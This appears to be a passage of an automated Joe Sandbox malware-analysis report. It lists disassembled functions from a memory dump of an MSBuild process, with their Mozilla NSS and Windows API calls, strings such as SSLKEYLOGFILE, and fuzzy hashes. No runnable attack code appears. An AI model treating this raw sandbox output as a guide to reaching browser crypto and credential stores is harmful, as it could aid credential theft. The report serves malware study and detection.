Part of subcall function 6CC21800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CC209BF), ref: 6CC21897
Part of subcall function 6CC21800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC218AA
Part of subcall function 6CC21800: memcpy.VCRUNTIME140(?,?,?), ref: 6CC218C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC20B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC20B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC20B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CC20B78

Strings

info_hash, xrefs: 6CC209E0
key, xrefs: 6CC20ACB
secret, xrefs: 6CC20A88
base_nonce, xrefs: 6CC20B06
psk_id_hash, xrefs: 6CC209B5
exp, xrefs: 6CC20B36

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 87409d796db6966e6ed2aea584bd61dce9a2f091d7fb4645700225c8817b0dfb
Instruction ID: 5402c785d9e817ad366d23b8fad0b1e48b21ada13fa05525f7c3b5d0e4d5a1aa
Opcode Fuzzy Hash: 87409d796db6966e6ed2aea584bd61dce9a2f091d7fb4645700225c8817b0dfb
Instruction Fuzzy Hash: 6A817A76604341AFD700CF55C88099AF7E8FF8C708F048919FA9997761E731E919CBA2

Function 6CC32D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC32DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC32E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC32E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC32E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C,?,-00000001,00000000,?), ref: 6CC32E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C,?,-00000001,00000000), ref: 6CC32E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EF8
PR_Unlock.NSS3(?), ref: 6CC32F62
TlsGetValue.KERNEL32 ref: 6CC32F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC32F9E
PR_Unlock.NSS3(?), ref: 6CC32FCA
TlsGetValue.KERNEL32 ref: 6CC3301A
EnterCriticalSection.KERNEL32(?), ref: 6CC3302E
PR_Unlock.NSS3(?), ref: 6CC33066
PR_SetError.NSS3(00000000,00000000), ref: 6CC33085
PR_Unlock.NSS3(?), ref: 6CC330EC
TlsGetValue.KERNEL32 ref: 6CC3310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC33124
PR_Unlock.NSS3(?), ref: 6CC3314C

Part of subcall function 6CC19180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CC4379E,?,6CC19568,00000000,?,6CC4379E,?,00000001,?), ref: 6CC1918D
Part of subcall function 6CC19180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CC4379E,?,6CC19568,00000000,?,6CC4379E,?,00000001,?), ref: 6CC191A0

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC3316D

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 342243fb13eebc890d00ae68c5e3e5f21bc7ce02050830cf562d1783fed8602d
Instruction ID: 015e8ae274e3b178a59069db2b7f0271a58aa12ea832b40f9c7c00a108857a04
Opcode Fuzzy Hash: 342243fb13eebc890d00ae68c5e3e5f21bc7ce02050830cf562d1783fed8602d
Instruction Fuzzy Hash: 01F190B1D002189FEF00DF68E844B9EBBB8BF09318F545169ED08A7751E731E996CB91

Function 6CC5C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C98E

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9A1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9D3

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9E6

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?), ref: 6CC5CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CC5AEB0,?,00000004,00000001), ref: 6CC5CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CC5AEB0,?,00000004), ref: 6CC5CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CC5CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC5AEB0,?,00000004), ref: 6CC5CA6D
PR_Now.NSS3 ref: 6CC5CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC5CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CC5CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CC5CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CC5CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CC5CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CC5CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CC5CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC5CC5B

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CC5CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CC5CC89

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: d690aada374ac622c05ec7e0f78d8a4512957b1102749ecb6fa02f9f8810a4dc
Instruction ID: 2dd4fcd7d9b2888c0867b2208144f47eecf94495a9927ec63a514e7b28d1a6d9
Opcode Fuzzy Hash: d690aada374ac622c05ec7e0f78d8a4512957b1102749ecb6fa02f9f8810a4dc
Instruction Fuzzy Hash: 08B18EB5E002069FEB00DF65DC41BAABBB4BF6830CF504125E814A6751FB71E9B4CBA5

Function 6CC36CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC36943
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC36957
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC36972
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC36983
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC369AA
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC369BE
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC369D2
Part of subcall function 6CC36910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC369DF
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC36A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC36D8C
free.MOZGLUE(00000000), ref: 6CC36DC5
free.MOZGLUE(?), ref: 6CC36DD6
free.MOZGLUE(?), ref: 6CC36DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC36E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36E72
free.MOZGLUE(?), ref: 6CC36EA7
free.MOZGLUE(?), ref: 6CC36EC4
free.MOZGLUE(?), ref: 6CC36ED5
free.MOZGLUE(00000000), ref: 6CC36EE3
free.MOZGLUE(?), ref: 6CC36EF4
free.MOZGLUE(?), ref: 6CC36F08
free.MOZGLUE(00000000), ref: 6CC36F35
free.MOZGLUE(?), ref: 6CC36F44
free.MOZGLUE(?), ref: 6CC36F5B
free.MOZGLUE(00000000), ref: 6CC36F65

Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
Part of subcall function 6CC36C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96
Part of subcall function 6CC36C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC36FF4

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: ff1711e315d118fddc11002971bdc6c86b01d05f8aca47f54fc18ebed179352b
Instruction ID: cfbeb1156c0cab1ad0d7715fbef26ca98204f843b5c97c9a61e7397ddedb795c
Opcode Fuzzy Hash: ff1711e315d118fddc11002971bdc6c86b01d05f8aca47f54fc18ebed179352b
Instruction Fuzzy Hash: FCB162B1E016299FEF01DFA5E885B9E7BB8BF49348F141024E919E7640F731E918CB61

Function 6CC34C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC34C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC34C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC34CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34DB7

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

TlsGetValue.KERNEL32 ref: 6CC34DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC34DEC
PR_Unlock.NSS3(?), ref: 6CC34E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC34E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC34E71
free.MOZGLUE(00000000), ref: 6CC34E7A
PR_Unlock.NSS3(?), ref: 6CC34EA2
TlsGetValue.KERNEL32 ref: 6CC34EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC34ED6
PR_Unlock.NSS3(?), ref: 6CC34F01
free.MOZGLUE(00000000), ref: 6CC34F2A

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: a90cfe49c02554e123ca71a2f810732d0aa96a3c0aa2338544e73ba8875f24b4
Instruction ID: 59d8fd0363c6cd2510e09c188bf39efc75c8bd34f728c5320996857b9de6e07a
Opcode Fuzzy Hash: a90cfe49c02554e123ca71a2f810732d0aa96a3c0aa2338544e73ba8875f24b4
Instruction Fuzzy Hash: E6B13671E002159FEB00EF68E840BAA7BB8BF49318F545164EE0997B41F732E964CBD1

Function 6CC86E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC86BF7), ref: 6CC86EB6

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD2FC0A,6CC86BF7), ref: 6CC86ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC86EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC86EFC
PR_NewLock.NSS3 ref: 6CC86F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC86F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC86BF7), ref: 6CC86F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC86BF7), ref: 6CC86F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC86BF7), ref: 6CC86FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC86BF7), ref: 6CC86FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC86F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC86FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC86EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC86FF8
SSLFORCELOCKS, xrefs: 6CC86F2B
SSLKEYLOGFILE, xrefs: 6CC86EB1

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 50105ad4006960fa2302d85e1c0c873afa165fae2c7e604bb1edee14beea9f8c
Instruction ID: 97ea9782a621675a93580c88dc80f33c110fcaa09d6752d63efb07806bbe2be5
Opcode Fuzzy Hash: 50105ad4006960fa2302d85e1c0c873afa165fae2c7e604bb1edee14beea9f8c
Instruction Fuzzy Hash: FBA1F9B2B6799186F610463DCC0075A3AA5B78336EF984366FA31C7EE5FB35A4409342

Function 6CC828C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

TlsGetValue.KERNEL32 ref: 6CC8290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CC8291E
TlsGetValue.KERNEL32 ref: 6CC82937
EnterCriticalSection.KERNEL32(00000001), ref: 6CC8294B
PR_EnterMonitor.NSS3(?), ref: 6CC82966
PR_EnterMonitor.NSS3(?), ref: 6CC829AC
PR_ExitMonitor.NSS3(?), ref: 6CC829D1
PR_EnterMonitor.NSS3(?), ref: 6CC829F0
PR_EnterMonitor.NSS3(?), ref: 6CC82A15
PR_EnterMonitor.NSS3(?), ref: 6CC82A37
PR_ExitMonitor.NSS3(?), ref: 6CC82A61
PR_ExitMonitor.NSS3(?), ref: 6CC82A78
PR_ExitMonitor.NSS3(?), ref: 6CC82A8F
PR_ExitMonitor.NSS3(?), ref: 6CC82AA6

Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB945B
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9479
Part of subcall function 6CCB9440: EnterCriticalSection.KERNEL32 ref: 6CCB9495
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB94E4
Part of subcall function 6CCB9440: TlsGetValue.KERNEL32 ref: 6CCB9532
Part of subcall function 6CCB9440: LeaveCriticalSection.KERNEL32 ref: 6CCB955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CC82AF9
free.MOZGLUE(?), ref: 6CC82B16
PR_Unlock.NSS3(?), ref: 6CC82B6D
PR_Unlock.NSS3(?), ref: 6CC82B80

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: b659168881ecedfb12f436915b13c06df1a2adb46b6b84828d86b556df024b8d
Instruction ID: 0bf00410781b8e120c0d1d7594a545a36dd099b5e865160301a6f0beb2a547b4
Opcode Fuzzy Hash: b659168881ecedfb12f436915b13c06df1a2adb46b6b84828d86b556df024b8d
Instruction Fuzzy Hash: 2681A0B1A017005BEB209F39EC59A97BBF9AF1530CF044828D95A87B11FB36E519CB91

Function 6CC48E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48E9E
